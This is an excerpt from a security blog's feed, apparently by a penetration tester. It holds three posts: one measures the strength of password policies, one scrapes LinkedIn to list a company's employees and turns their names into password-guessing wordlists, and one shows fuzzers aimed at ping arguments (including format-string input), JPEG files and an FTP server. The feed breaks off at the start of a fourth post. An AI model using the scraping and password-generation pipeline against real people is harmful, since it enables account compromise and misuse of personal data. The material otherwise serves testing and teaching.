The password policy defines the search space, depending on the password policy it can either define a global search space (e.g. 8 ASCII characters password) or an individual search space per character (e.g. 8 ASCII characters password, first character must be a digit). The latter is weaker than the former. To demonstrate this, I have developed a small Python script called &lt;i&gt;alphapasswd.py&lt;/i&gt; that calculates the search space of a password policy given it&#39;s formation and a working sample password.&lt;br /&gt;
&lt;pre class=&quot;brush: python&quot;&gt;
#!/usr/bin/env  python

# Copyright (C) 2013 Itzik Kotler &amp;lt;ik@ikotler.org&amp;gt;
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

import sys
import re
import math


def main():

    try:

        print &#39;Evaluating Password Formation: &quot;%s&quot; with Sample Password &quot;%s&quot;&#39; % (sys.argv[1], sys.argv[2])

        formation = re.compile(sys.argv[1])

        if not formation.match(sys.argv[2]):

            print &#39;Sample Password &quot;%s&quot; does not match Password Formation &quot;%s&quot;&#39; % (sys.argv[2], sys.argv[1])

            return 0

        sample_passwd = list(formation.match(sys.argv[2]).group(0))

        print &quot;INPUT: %s&quot; % sample_passwd

        values_per_col = []

        exponent = 0

        # Itereate each Character in Sample Password

        for col_idx in xrange(0, len(sample_passwd)):

            total_values_per_col = 0

            # Itereate 2^8 Values

            for byte in xrange(0, 255):

                old_value = sample_passwd[col_idx]

                sample_passwd[col_idx] = chr(byte)

                # GO / NO GO ?

                if formation.match(&#39;&#39;.join(sample_passwd)):

                    total_values_per_col = total_values_per_col + 1

                sample_passwd[col_idx] = old_value

            values_per_col.append(total_values_per_col)

        for col_idx in xrange(0, len(values_per_col)):

            print &quot;PASSWORD BYTE #%d SEARCH SPACE 2^%d (%d)&quot; % (col_idx+1, math.ceil(math.log(values_per_col[col_idx], 2)), values_per_col[col_idx])

            exponent = exponent + math.ceil(math.log(values_per_col[col_idx], 2))

        print &quot;EXPONENT = %d&quot; % exponent

        print &quot;TOTAL = %d = 2^%d&quot; % (2**exponent, exponent)

    except IndexError as e:

        print &#39;Missing password formation or sample password&#39;
        print &#39;e.g. %s &quot;[a-zA-Z0-9]{4}&quot; &quot;abcd&quot;&#39; % sys.argv[0]
        print &#39;Usage: %s &amp;lt;password formation&amp;gt; &amp;lt;sample password&amp;gt;&#39; % sys.argv[0]


if __name__ == &quot;__main__&quot;:
    main()
&lt;/pre&gt;
What the script above does is calculate how many bits (as eventually the password will be stored digitally and bit is the smallest unit of measurement used for information storage in computers) are needed to represent each character in the password given the password policy, and then it sums all the bits and outputs the maximum password strength (in bits) that this password policy can yield.&lt;br /&gt;
&lt;br /&gt;
Going back to our original question, now that we have &lt;i&gt;alphapasswd.py&lt;/i&gt;, it is possible to compare between two or more password policies and see which yields a better theoretical password (remember this is not testing against common passwords or obvious mistakes, just testing the search space). The second password policy that I will be using for comparecent is very similar to the one in question, but simpler, it&#39;s an 8 ASCII characters long password with no restrictions policy. Now that we have competitors, let&#39;s start measuring their search space, starting with the airplane company password policy:
&lt;pre class=&quot;brush: plain&quot;&gt;./alphapasswd.py &quot;[a-zA-Z][a-zA-Z][a-zA-Z0-9\!\@\#\$\%\^\&amp;\*\(\)]{2}[0-9]{4}&quot; &quot;abcd1234&quot;&lt;/pre&gt;
The output should be:
&lt;pre class=&quot;brush: plain&quot;&gt;
Evaluating Password Formation: &quot;[a-zA-Z][a-zA-Z][a-zA-Z0-9\!\@\#$\%\^\&amp;\*\(\)]{2}[0-9]{4}&quot; with Sample Password &quot;abcd1234&quot;
INPUT: [&#39;a&#39;, &#39;b&#39;, &#39;c&#39;, &#39;d&#39;, &#39;1&#39;, &#39;2&#39;, &#39;3&#39;, &#39;4&#39;]
PASSWORD BYTE #1 SEARCH SPACE 2^6 (52)
PASSWORD BYTE #2 SEARCH SPACE 2^6 (52)
PASSWORD BYTE #3 SEARCH SPACE 2^7 (72)
PASSWORD BYTE #4 SEARCH SPACE 2^7 (72)
PASSWORD BYTE #5 SEARCH SPACE 2^4 (10)
PASSWORD BYTE #6 SEARCH SPACE 2^4 (10)
PASSWORD BYTE #7 SEARCH SPACE 2^4 (10)
PASSWORD BYTE #8 SEARCH SPACE 2^4 (10)
EXPONENT = 42
TOTAL = 4398046511104 = 2^42
&lt;/pre&gt;
From this output it is possible to see that from an 8 characters long password, the #1, #2, #5, #6, #7, and #8 bytes have a smaller search space (generally speaking the upper bounds of an ASCII byte search space is 2^7), and as a result, the maximum search space is 2^42. Now, let&#39;s try the second password policy (i.e. 8 ASCII characters long password with no restrictions):
&lt;pre class=&quot;brush: plain&quot;&gt;./alphapasswd.py &quot;[a-zA-Z0-9\!\@\#\$\%\^\&amp;\*\(\)]{8}&quot; &quot;abcd1234&quot;&lt;/pre&gt;
The output should be:
&lt;pre class=&quot;brush: plain&quot;&gt;
Evaluating Password Formation: &quot;[a-zA-Z0-9\!\@\#$\%\^\&amp;\*\(\)]{8}&quot; with Sample Password &quot;abcd1234&quot;
INPUT: [&#39;a&#39;, &#39;b&#39;, &#39;c&#39;, &#39;d&#39;, &#39;1&#39;, &#39;2&#39;, &#39;3&#39;, &#39;4&#39;]
PASSWORD BYTE #1 SEARCH SPACE 2^7 (72)
PASSWORD BYTE #2 SEARCH SPACE 2^7 (72)
PASSWORD BYTE #3 SEARCH SPACE 2^7 (72)
PASSWORD BYTE #4 SEARCH SPACE 2^7 (72)
PASSWORD BYTE #5 SEARCH SPACE 2^7 (72)
PASSWORD BYTE #6 SEARCH SPACE 2^7 (72)
PASSWORD BYTE #7 SEARCH SPACE 2^7 (72)
PASSWORD BYTE #8 SEARCH SPACE 2^7 (72)
EXPONENT = 56
TOTAL = 72057594037927936 = 2^56
&lt;/pre&gt;
From this output it is possible to see that from an 8 characters long password, all the bytes have the maximum search space possible given the upper bounds of an ASCII byte search space (i.e. 2^7), and as a result, the maximum search space is 2^56. In other words, the first password policy is &lt;i&gt;16384&lt;/i&gt; (i.e. &lt;i&gt;72057594037927936/4398046511104&lt;/i&gt;) times weaker than the second password policy. Reviewing the first password policy again, it&#39;s obiovus that the 4 digits requirement is what limits the search space the most. If so, why did my &quot;favorite airplane company&quot; request it? On the same Update Password page it says (on the bottom) that:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;b&gt;The last four characters in your password (the digits) will serve as your secret code to identify yourself at the Telephone Service Center&lt;/i&gt;&lt;/b&gt;&lt;br /&gt; 
&lt;br /&gt;
And so the mystery is solved, due to a legacy IVR (Interactive Voice Response), and the fact that my &quot;favorite airplane company&quot; did not want to seperate between their Website and IVR credentials, they composed a password security policy that is in fact weaker than an any 8 ASCII characters long password policy. Now, come to think about it, if I only need to enter 4 digits to log-in in the IVR, how are they storing the passwords then? It can&#39;t be hashed and compared as the IVR will only accept 4 digits, while the password is 8 characters long? Oh well, I guess that&#39;s a story for another day.</content><link rel='replies' type='application/atom+xml' href='http://blog.ikotler.org/feeds/5635313350701662392/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.ikotler.org/2013/02/password-policy-you-are-doing-it-wrong.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/5635313350701662392'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/5635313350701662392'/><link rel='alternate' type='text/html' href='http://blog.ikotler.org/2013/02/password-policy-you-are-doing-it-wrong.html' title='Password Policy: You Are Doing It Wrong (When 2^56 Becomes 2^42)'/><author><name>Itzik Kotler</name><uri>http://www.blogger.com/profile/10497840461004186659</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje9BzgkooUnIU73WLFODHbylFlrqjd-gwevMtu2dSD5U6yc769f2QFxwoaeY-RefHpGEwYUDJW4IZ-K4-XhrtlAwGls_WMa9cdIMpAdY6n4wIoZFPUX8yvHCjbZBPtGN4/s220/rsz_p1030336.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5189431754787123106.post-4164445276007116461</id><published>2012-12-25T19:14:00.000+02:00</published><updated>2012-12-25T19:17:20.959+02:00</updated><title type='text'>Scraping LinkedIn Public Profiles for Fun and Profit</title><content type='html'>Reconnaissance and Information Gathering is a part of almost every penetration testing engagement. Often, the tester will only perform network reconnaissance in an attempt to disclose and learn the company&#39;s network infrastructure (i.e. IP addresses, domain names, and etc), but there are other types of reconnaissance to conduct, and no, I&#39;m not talking about dumpster diving. Thanks to social networks like LinkedIn, OSINT/WEBINT is now yielding more information. This information can then be used to help the tester test anything from social engineering to weak passwords.&lt;br /&gt;
&lt;br /&gt;
In this blog post I will show you how to use Pythonect to easily generate potential passwords from LinkedIn public profiles. If you haven&#39;t heard about &lt;a href=&quot;http://www.pythonect.org&quot;&gt;Pythonect&lt;/a&gt; yet, it is a new, experimental, general-purpose dataflow programming language based on the Python programming language. Pythonect is most suitable for creating applications that are themselves focused on the &quot;flow&quot; of the data. An application that generates passwords from the employees public LinkedIn profiles of a given company - have a coherence and clear dataflow:&lt;/br/&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;i&gt;(1) Find all the employees public LinkedIn profiles&lt;/i&gt; &amp;#8594; &lt;i&gt;(2) Scrap all the employees public LinkedIn profiles&lt;/i&gt; &amp;#8594; &lt;i&gt;(3) Crunch all the data into potential passwords&lt;/i&gt;&lt;br /&gt;
&lt;/div&gt;
&lt;br /&gt;
Now that we have the general concept and high-level overview out of the way, let&#39;s dive in to the details.&lt;br /&gt;
&lt;br /&gt;
Finding all the employees public LinkedIn profiles will be done via &lt;a href=&quot;http://www.google.com/cse/&quot;&gt;Google Custom Search Engine&lt;/a&gt;, a free service by Google that allows anyone to create their own search engine by themselves. The idea is to create a search engine that when searching for a given company name - will return all the employees public LinkedIn profiles. How? When creating a Google Custom Search Engine it&#39;s possible to refine the search results to a specific site (i.e. &#39;Sites to search&#39;), and we&#39;re going to limit ours to: &lt;i&gt;linkedin.com&lt;/i&gt;. It&#39;s also possible to fine-tune the search results even further, e.g. &lt;i&gt;uk.linkedin.com&lt;/i&gt; to find only employees from United Kingdom.&lt;br /&gt;
&lt;br /&gt;
The access to the newly created Google Custom Search Engine will be made using a free API key obtained from &lt;a href=&quot;https://code.google.com/apis/console/&quot;&gt;Google API Console&lt;/a&gt;. Why go through the Google API? because it allows automation (No CAPTCHA&#39;s), and it also means that the search-result pages will be returned as JSON (as oppose to HTML). The only catch with using the free API key is that it&#39;s limited to 100 queries per day, but it&#39;s possible to buy an API key that will not be limited.&lt;br /&gt;
&lt;br /&gt;
Scraping the profiles is a matter of iterating all over the hCards in all the search-result pages, and extracting the employee name from each hCard. Whats is a hCard? &lt;a href=&quot;http://microformats.org/wiki/hcard&quot;&gt;hCard&lt;/a&gt; is a micro format for publishing the contact details of people, companies, organizations, and places. hCard is also supported by social networks such as Facebook, Google+, LinkedIn and etc. for exporting public profiles. Google (when indexing) parses hCard, and when relevant, uses them in search-result pages. In other words, when search-result pages include LinkedIn public profiles, it will appear as hCards, and could be easily parsed.&lt;br /&gt;
&lt;br /&gt;
Let&#39;s see the implementation of the above:
&lt;pre class=&quot;brush: python&quot;&gt;
#!/usr/bin/python
#
# Copyright (C) 2012 Itzik Kotler
#
# scraper.py is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# scraper.py is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with scraper.py.  If not, see &amp;lthttp://www.gnu.org/licenses/&amp;gt;.

&quot;&quot;&quot;Simple LinkedIn public profiles scraper that uses Google Custom Search&quot;&quot;&quot;

import urllib
import simplejson


BASE_URL = &quot;https://www.googleapis.com/customsearch/v1?key=&amp;ltYOUR GOOGLE API KEY&amp;gt;&amp;amp;cx=&amp;ltYOUR GOOGLE SEARCH ENGINE CX&amp;gt;&quot;


def __get_all_hcards_from_query(query, index=0, hcards={}):

    url = query

    if index != 0:

        url = url + &#39;&amp;amp;start=%d&#39; % (index)

    json = simplejson.loads(urllib.urlopen(url).read())

    if json.has_key(&#39;error&#39;):

        print &quot;Stopping at %s due to Error!&quot; % (url)

        print json

    else:

        for item in json[&#39;items&#39;]:

            try:

                hcards[item[&#39;pagemap&#39;][&#39;hcard&#39;][0][&#39;fn&#39;]] = item[&#39;pagemap&#39;][&#39;hcard&#39;][0][&#39;title&#39;]

            except KeyError as e:

                pass

        if json[&#39;queries&#39;].has_key(&#39;nextPage&#39;):

            return __get_all_hcards_from_query(query, json[&#39;queries&#39;][&#39;nextPage&#39;][0][&#39;startIndex&#39;], hcards)

    return hcards


def get_all_employees_by_company_via_linkedin(company):

    queries = [&#39;&quot;at %s&quot; inurl:&quot;in&quot;&#39;, &#39;&quot;at %s&quot; inurl:&quot;pub&quot;&#39;]

    result = {}

    for query in queries:

        _query = query % company

        result.update(__get_all_hcards_from_query(BASE_URL + &#39;&amp;amp;q=&#39; + _query))

    return list(result)
&lt;/pre&gt;
Replace &lt;i&gt;&amp;ltYOUR GOOGLE API KEY&amp;gt;&lt;/i&gt; and &lt;i&gt;&amp;ltYOUR GOOGLE SEARCH ENGINE CX&amp;gt;&lt;/i&gt; in the code above with your Google API Key and Google Search Engine CX respectively, save it to a file called &lt;i&gt;scraper.py&lt;/i&gt;, and you&#39;re ready!&lt;br /&gt;
&lt;br /&gt;
To kick-start, here is a simple program in Pythonect (that utilizes the &lt;i&gt;scraper&lt;/i&gt; module) that searchs and prints all the &lt;i&gt;Pythonect&lt;/i&gt; company employees full names:
&lt;pre class=&quot;brush: plain&quot;&gt;&quot;Pythonect&quot; -&amp;gt; scraper.get_all_employees_by_company_via_linkedin -&amp;gt; print&lt;/pre&gt;
The output should be:
&lt;pre class=&quot;brush: plain&quot;&gt;Itzik Kotler&lt;/pre&gt;
In my &lt;a href=&quot;http://il.linkedin.com/in/itzikk&quot;&gt;LinkedIn Profile&lt;/a&gt;, I have listed &lt;i&gt;Pythonect&lt;/i&gt; as a company that I work for, and since no one else is working there, when searching for all the employees of &lt;i&gt;Pythonect&lt;/i&gt; company - only my LinkedIn profile comes up.&lt;br /&gt;
For demonstration purposes I will keep using this example (i.e. &quot;Pythonect&quot; company, and &quot;Itzik Kotler&quot; employee), but go ahead and replace &lt;i&gt;Pythonect&lt;/i&gt; with other, more popular, companies names and see the results.&lt;br /&gt;
&lt;br /&gt;
Now that we have a working skeleton, let&#39;s take its output and start crunching it. Keep in mind that every &quot;password generation forumla&quot; is merely a guess. The examples below are only a sampling of what can be done. There are, obviously many more possibilities and you are encouraged to experiment. But first, let&#39;s normalize the output - this way it&#39;s going to be consistent before operations are performed on it:&lt;br /&gt;
&lt;pre class=&quot;brush: plain&quot;&gt;&quot;Pythonect&quot; -&gt; scraper.get_all_employees_by_company_via_linkedin -&gt; string.lower(&#39;&#39;.join(_.split()))&lt;/pre&gt;
The normalization procedure is short and simple: convert the string to lowercase and remove any spaces, and so the output should be now:
&lt;pre class=&quot;brush: plain&quot;&gt;itzikkotler&lt;/pre&gt;
As for data manipulation, out of the box (Thanks to The Python Standard Library) we&#39;ve got &lt;i&gt;&lt;a href=&quot;http://docs.python.org/2/library/itertools.html&quot;&gt;itertools&lt;/a&gt;&lt;/i&gt; and it&#39;s combinatoric generators. Let&#39;s start by applying &lt;i&gt;&lt;a href=&quot;http://docs.python.org/2/library/itertools.html#itertools.product&quot;&gt;itertools.product&lt;/a&gt;&lt;/i&gt;:
&lt;pre class=&quot;brush: plain&quot;&gt;&quot;Pythonect&quot; -&gt; scraper.get_all_employees_by_company_via_linkedin -&gt; string.lower(&#39;&#39;.join(_.split())) -&gt; itertools.product(_, repeat=4) -&gt; print&lt;/pre&gt;
The code above will generate and print every 4 characters password from the letters: &lt;i&gt;i&lt;/i&gt;, &lt;i&gt;t&lt;/i&gt;, &lt;i&gt;z&lt;/i&gt;, &lt;i&gt;k&lt;/i&gt;, &lt;i&gt;o&lt;/i&gt;, &lt;i&gt;t&lt;/i&gt;, &lt;i&gt;l&lt;/i&gt; , &lt;i&gt;e&lt;/i&gt;, &lt;i&gt;r&lt;/i&gt;. However, it won&#39;t cover passwords with uppercase letters in it. And so, here&#39;s a simple and straightforward implementation of a &lt;i&gt;cycle_uppercase&lt;/i&gt; function that cycles the input letters yields a copy of the input with letter in uppercase:
&lt;pre class=&quot;brush: plain&quot;&gt;
def cycle_uppercase(i):
    s = &#39;&#39;.join(i)
    for idx in xrange(0, len(s)):
        yield s[:idx] + s[idx].upper() + s[idx+1:]
&lt;/pre&gt;
To use it, save it to a file called &lt;i&gt;itertools2.py&lt;/i&gt;, and then simply add it to the Pythonect program after the &lt;i&gt;itertools.product(_, repeat=4)&lt;/i&gt; block, as follows:
&lt;pre class=&quot;brush: plain&quot;&gt;
&quot;Pythonect&quot; -&gt; scraper.get_all_employees_by_company_via_linkedin \
    -&gt; string.lower(&#39;&#39;.join(_.split())) \
        -&gt; itertools.product(_, repeat=4) \
            -&gt; itertools2.cycle_uppercase \
                -&gt; print
&lt;/pre&gt;
Now, the program will also cover passwords that include a single uppercase letter in it. Moving on with the data manipulation, sometimes the password might contain symbols that are not found within the scrapped data. In this case, it is necessary to build a generator that will take the input and add symbols to it. Here is a short and simple generator implemented as a Generator Expression:
&lt;pre class=&quot;brush: plain&quot;&gt;[_ + postfix for postfix in [&#39;123&#39;,&#39;!&#39;,&#39;$&#39;]]&lt;/pre&gt;
To use it, simply add it to the Pythonect program after the &lt;i&gt;itertools2.cycle_uppercase&lt;/i&gt; block, as follows:
&lt;pre class=&quot;brush: plain&quot;&gt;
&quot;Pythonect&quot; -&gt; scraper.get_all_employees_by_company_via_linkedin \
    -&gt; string.lower(&#39;&#39;.join(_.split())) \
        -&gt; itertools.product(_, repeat=4) \
            -&gt; itertools2.cycle_uppercase \
                -&gt; [_ + postfix for postfix in [&#39;123&#39;,&#39;!&#39;,&#39;$&#39;]] \
                    -&gt; print
&lt;/pre&gt;
The result is that now the program adds the strings: &lt;i&gt;&#39;123&#39;&lt;/i&gt;, &lt;i&gt;&#39;!&#39;&lt;/i&gt;, and &lt;i&gt;&#39;$&#39;&lt;/i&gt; to every generated password, which increases the chances of guessing the user&#39;s right password, or not, depends on the password :)&lt;br /&gt;
&lt;br /&gt;
To summarize, it&#39;s possible to take OSINT/WEBINT data on a given person or company and use it to generate potential passwords, and it&#39;s easy to do with Pythonect. There are, of course, many different ways to manipulate the data into passwords and many programs and filters that can be used. In this aspect, Pythonect being a flow-oriented language makes it easy to experiment and research with different modules and programs in a &quot;plug and play&quot; manner.</content><link rel='replies' type='application/atom+xml' href='http://blog.ikotler.org/feeds/4164445276007116461/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.ikotler.org/2012/12/scraping-linkedin-public-profiles-for.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/4164445276007116461'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/4164445276007116461'/><link rel='alternate' type='text/html' href='http://blog.ikotler.org/2012/12/scraping-linkedin-public-profiles-for.html' title='Scraping LinkedIn Public Profiles for Fun and Profit'/><author><name>Itzik Kotler</name><uri>http://www.blogger.com/profile/10497840461004186659</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje9BzgkooUnIU73WLFODHbylFlrqjd-gwevMtu2dSD5U6yc769f2QFxwoaeY-RefHpGEwYUDJW4IZ-K4-XhrtlAwGls_WMa9cdIMpAdY6n4wIoZFPUX8yvHCjbZBPtGN4/s220/rsz_p1030336.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5189431754787123106.post-3923003101206821590</id><published>2012-09-17T11:31:00.000+03:00</published><updated>2012-09-17T11:31:44.102+03:00</updated><title type='text'>Fuzzing Like A Boss with Pythonect</title><content type='html'>In my previous post &lt;a href=&quot;http://blog.ikotler.org/2012/08/automated-static-malware-analysis-with.html&quot;&gt;Automated Static Malware Analysis with Pythonect&lt;/a&gt;, I wrote about how to use &lt;a href=&quot;http://www.pythonect.org/&quot;&gt;Pythonect&lt;/a&gt; to automate static malware analysis. In this post I&#39;ll describe how to use Pythonect and all of its perks to fuzz file formats, network protocols, and command line arguments.
The examples provided are only a sampling of what can be done. There are, obviously many more possibilities and you are encouraged to experiment. Before you read this tutorial you should have at least a basic knowledge of Fuzz testing, Python and Pythonect (I recommend reading the &lt;a href=&quot;https://github.com/ikotler/pythonect/wiki/Pythonect-Tutorial:-Learn-By-Example&quot;&gt;Pythonect Tutorial: Learn By Example&lt;/a&gt;).&lt;br /&gt;
&lt;br /&gt;
Let&#39;s see some code!&lt;br /&gt;
&lt;pre class=&quot;brush: plain&quot;&gt;
[&#39;A&#39;, &#39;a&#39;, &#39;0&#39;, &#39;!&#39;, &#39;$&#39;, &#39;%&#39;, &#39;*&#39;, &#39;+&#39;, &#39;,&#39;, &#39;-&#39;, &#39;.&#39;, &#39;/&#39;, &#39;:&#39;, &#39;?&#39;, &#39;@&#39;, &#39;^&#39;, &#39;_&#39;] \
    -&gt; [_ * n for n in [256, 512, 1024, 2048, 4096]] \
        -&gt; os.system(&#39;/bin/ping &#39; + _)
&lt;/pre&gt;
The code above tries to fuzz the command-line arguments of a *nix command-line tool (e.g. &lt;i&gt;/bin/ping&lt;/i&gt;).  Let&#39;s go line by line and explain what&#39;s going on with these 3 lines of code.&lt;br /&gt;
&lt;br /&gt;
The first line defines a list of inputs to try (i.e. &lt;i&gt;[&#39;A&#39;, &#39;a&#39;, &#39;0&#39;, ...]&lt;/i&gt;]), the second line defines a list of length parameters (i.e. &lt;i&gt;[256, 512, 1024, ...]&lt;/i&gt;), and the last line executes the command-line tool with the generated argument as &lt;i&gt;argv[1]&lt;/i&gt; (e.g. &lt;i&gt;/bin/ping &quot;AAAAAA ... 250 times&quot;&lt;/i&gt;). In addition, this fuzzer is multi-threaded and uses asynchronous communication. What does it mean? It means that it&#39;s not waiting for a thread to finish before continuing with the loop, and as a result, it&#39;s not guaranteed to fuzz in sorted order (.e. &lt;i&gt;A * 255, A * 512, A * 1024, ...&lt;/i&gt;)&lt;br /&gt;
&lt;br /&gt;
You can easily extend the code above to include testing for format string vulnerabilities:
&lt;pre class=&quot;brush: plain&quot;&gt;
[&#39;%s&#39;, &#39;%n&#39;, &#39;A&#39;, &#39;a&#39;, &#39;0&#39;, &#39;!&#39;, &#39;$&#39;, &#39;%&#39;, &#39;*&#39;, &#39;+&#39;, &#39;,&#39;, &#39;-&#39;, &#39;.&#39;, &#39;/&#39;, &#39;:&#39;, &#39;?&#39;, &#39;@&#39;, &#39;^&#39;, &#39;_&#39;] \
    -&gt; [_ * n for n in [256, 512, 1024, 2048, 4096]] \
        -&gt; os.system(&#39;/bin/ping &#39; + _)
&lt;/pre&gt;
If you want the format string testing inputs to run first (i.e. fuzz in sorted order), change the forward pipe operator from asynchronous to synchronous:
&lt;pre class=&quot;brush: plain&quot;&gt;
[&#39;%s&#39;, &#39;%n&#39;, &#39;A&#39;, &#39;a&#39;, &#39;0&#39;, &#39;!&#39;, &#39;$&#39;, &#39;%&#39;, &#39;*&#39;, &#39;+&#39;, &#39;,&#39;, &#39;-&#39;, &#39;.&#39;, &#39;/&#39;, &#39;:&#39;, &#39;?&#39;, &#39;@&#39;, &#39;^&#39;, &#39;_&#39;] \
    | [_ * n for n in [256, 512, 1024, 2048, 4096]] \
        -&gt; os.system(&#39;/bin/ping &#39; + _)
&lt;/pre&gt;
If you also want the length parameters to run in sorted order (i.e. &lt;i&gt;&#39;%s&#39; * 256, &#39;%s&#39; * 512, &#39;%s&#39; * 1024, ...&lt;/i&gt;), change the 2nd forward pipe operator to synchronous as well:
&lt;pre class=&quot;brush: plain&quot;&gt;
[&#39;%s&#39;, &#39;%n&#39;, &#39;A&#39;, &#39;a&#39;, &#39;0&#39;, &#39;!&#39;, &#39;$&#39;, &#39;%&#39;, &#39;*&#39;, &#39;+&#39;, &#39;,&#39;, &#39;-&#39;, &#39;.&#39;, &#39;/&#39;, &#39;:&#39;, &#39;?&#39;, &#39;@&#39;, &#39;^&#39;, &#39;_&#39;] \
    | [_ * n for n in [256, 512, 1024, 2048, 4096]] \
        | os.system(&#39;/bin/ping &#39; + _)
&lt;/pre&gt;
Keep in mind, that the latter is no longer multi-threaded (due to the fact that it&#39;s waiting for both, the inputs and length threads to finish).&lt;br /&gt;
&lt;br /&gt;
Moving on, here is an example of a generic file format fuzzer:
&lt;pre class=&quot;brush: plain&quot;&gt;
open(&#39;dana.jpg&#39;, &#39;r&#39;).read() \
    -&gt; itertools.permutations \
        -&gt; open(&#39;output_&#39; + hex(_.__hash__()) + &#39;.jpg&#39;, &#39;w&#39;).write(&#39;&#39;.join(_))
&lt;/pre&gt;
The code above reads the content of &lt;i&gt;dana.jpg&lt;/i&gt; and passes it to &lt;a href=&quot;http://docs.python.org/library/itertools.html#itertools.permutations&quot;&gt;itertools.permutations&lt;/a&gt;, and that in turn returns &lt;i&gt;dana.jpg&lt;/i&gt;-length tuples, all possible orderings, no repeated elements.&lt;br /&gt;
Each &lt;i&gt;dana.jpg&lt;/i&gt;-length tuple is saved into a unique &lt;i&gt;output_&lt;/i&gt; prefixed file. Afterwards, testing the JPEG libraries is as easy as: &lt;i&gt;eog *.jpg&lt;/i&gt; or &lt;i&gt;zgv *.jpg&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
This is another example of a generic file format fuzzer:
&lt;pre class=&quot;brush: plain&quot;&gt;
open(&#39;dana.jpg&#39;, &#39;r&#39;).read() \
    -&gt; [list(_) + [os.urandom(1) for n in xrange(0, len(_))]] \
        -&gt; [tuple(random.sample(_, len(_)/2)) for i in xrange(0, len(_)*2)] \
            -&gt; open(&#39;output_&#39; + hex(_.__hash__()) + &#39;.jpg&#39;, &#39;w&#39;).write(&#39;&#39;.join(_))
&lt;/pre&gt;
The code above reads the content of &lt;i&gt;dana.jpg&lt;/i&gt;, generates a &lt;i&gt;dana.jpg&lt;/i&gt;-length random bytes buffer, joins them, and then randomly samples &lt;i&gt;dana.jpg&lt;/i&gt;-length*2 &lt;i&gt;dana.jpg&lt;/i&gt;-length chunks.&lt;br /&gt;
Each &lt;i&gt;dana.jpg&lt;/i&gt;-length chunk is saved into a unique &lt;i&gt;output_&lt;/i&gt; prefixed file. Again, testing the JPEG libraries is as easy as: &lt;i&gt;eog *.jpg&lt;/i&gt; or &lt;i&gt;zgv *.jpg&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Last but not least, here&#39;s a network protocol (FTP) fuzzer:
&lt;pre class=&quot;brush: plain&quot;&gt;
ftplib.FTP(&#39;localhost&#39;) \
    -&gt; _.login().startswith(&#39;230&#39;) \
    -&gt; [_.mkd(s) for s in reduce(lambda x,y: x+y, map(lambda c: [chr(c) * 2**l for l in range(8,13)], xrange(1, 255)))]
&lt;/pre&gt;
The code above uses &lt;a href=&quot;http://docs.python.org/library/ftplib.html&quot;&gt;ftplib&lt;/a&gt; module to connect to a FTP site, logins as an anonymous, generates strings from byte value 1-255 * 256, 512 and etc. and passes each string as &lt;i&gt;pathname&lt;/i&gt; for MKD.&lt;br /&gt;
&lt;br /&gt;
Lastly, if you have suggestions on how we can make Pythonect better, head over to &lt;a href=&quot;https://github.com/ikotler/pythonect&quot;&gt;Pythonect&#39;s github page&lt;/a&gt; and &lt;a href=&quot;https://github.com/ikotler/pythonect/issues&quot;&gt;create a new ticket&lt;/a&gt; or fork. Enjoy the examples and have fun with Pythonect!</content><link rel='replies' type='application/atom+xml' href='http://blog.ikotler.org/feeds/3923003101206821590/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.ikotler.org/2012/09/fuzzing-like-boss-with-pythonect.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/3923003101206821590'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5189431754787123106/posts/default/3923003101206821590'/><link rel='alternate' type='text/html' href='http://blog.ikotler.org/2012/09/fuzzing-like-boss-with-pythonect.html' title='Fuzzing Like A Boss with Pythonect'/><author><name>Itzik Kotler</name><uri>http://www.blogger.com/profile/10497840461004186659</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje9BzgkooUnIU73WLFODHbylFlrqjd-gwevMtu2dSD5U6yc769f2QFxwoaeY-RefHpGEwYUDJW4IZ-K4-XhrtlAwGls_WMa9cdIMpAdY6n4wIoZFPUX8yvHCjbZBPtGN4/s220/rsz_p1030336.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5189431754787123106.post-3426988209698587108</id><published>2012-08-21T11:44:00.000+03:00</published><updated>2012-08-21T11:44:08.120+03:00</updated><title type='text'>Automated Static Malware Analysis with Pythonect</title><content type='html'>About 5 months ago I have released the 